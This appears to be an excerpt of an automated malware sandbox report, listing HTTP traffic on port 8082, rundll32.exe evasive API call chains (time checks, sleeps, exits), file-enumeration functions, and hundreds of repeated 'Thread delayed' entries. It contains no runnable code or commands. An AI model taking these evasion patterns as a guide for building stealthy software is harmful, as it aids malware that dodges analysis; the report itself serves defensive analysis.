Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49948

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_7-19827

Source: C:\Windows\SysWOW64\rundll32.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_7-17862
Source: C:\Windows\SysWOW64\rundll32.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_7-17615

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_7-16272
Source: C:\Windows\SysWOW64\rundll32.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_7-16364

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010A319B _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		7_2_010A319B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010A7B20 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		7_2_010A7B20

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30190	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33848	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38241	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37407	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30891	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38353	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38356	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30081	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37018	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32961	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33994	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38079	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35515	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31261	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36143	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32841	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35225	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34876	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38069	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34556	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31959	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37939	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33421	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31459	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35796	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34161	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37960	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36035	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31599	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30358	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34032	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37567	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30921	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36482	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36947	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31601	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30529	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35102	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30412	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37628	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33180	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36386	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38199	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32947	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35640	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30031	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30413	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38171	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31541	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33685	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34206	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32284	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30375	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33330	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31229	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33902	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33075	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35734	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37514	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33828	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31130	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30531	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33266	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35707	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38180	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31048	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34399	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31945	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33317	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35168	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32592	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33699	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34016	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35042	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31006	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37135	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32256	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34667	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30270	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36879	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35322	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34439	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32573	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37961	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34980	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30336	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30426	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33323	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33218	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30740	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34434	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30641	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31902	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34092	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35537	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32850	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36813	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35880	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30917	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30988	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35113	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34577	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38337	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33423	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32509	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30928	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30965	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36943	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37521	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33375	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38159	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34820	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37275	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37735	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34590	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36663	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31609	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35532	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33359	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32854	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31671	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35409	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38143	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37384	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31633	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35041	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32190	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35753	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31863	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33374	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32654	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35245	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31333	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31769	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36334	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36572	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31737	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35994	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30527	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32945	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36972	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37482	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36634	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36584	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35241	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33038	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37241	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31055	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36855	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38370	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33367	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32665	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30823	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35112	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33531	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33890	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30012	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37308	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34550	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32778	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30955	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36022	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35759	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36264	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37406	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36744	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37416	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34008	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30201	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34730	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34416	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32193	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31410	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30017	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37319	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37672	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32017	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35909	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32275	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35654	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32149	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35559	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32276	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33564	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31399	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35497	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34163	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35210	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37732	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35723	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35299	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34968	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36179	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35849	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37067	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33281	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34604	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35910	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35125	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33745	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36917	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37305	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30889	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32034	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32387	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32370	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35031	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35335	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32878	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36296	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36048	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32438	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32252	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36517	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30347	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32598	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34234	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31252	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34762	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30098	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38332	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34966	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37522	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35737	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33935	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30227	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33953	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35315	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34567	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35597	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33998	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37584	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33768	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35677	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37637	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31206	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33537	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30960	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34751	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37722	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30225	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36361	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38369	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38032	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32108	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30455	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31211	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34286	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33331	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36236	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34307	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32209	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36201	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30254	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30858	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31809	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30418	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33869	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37242	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34047	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36032	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35292	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32611	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36411	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30430	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34650	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33488	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33339	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37255	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34359	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30145	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37618	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34599	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30787	Jump to behavior
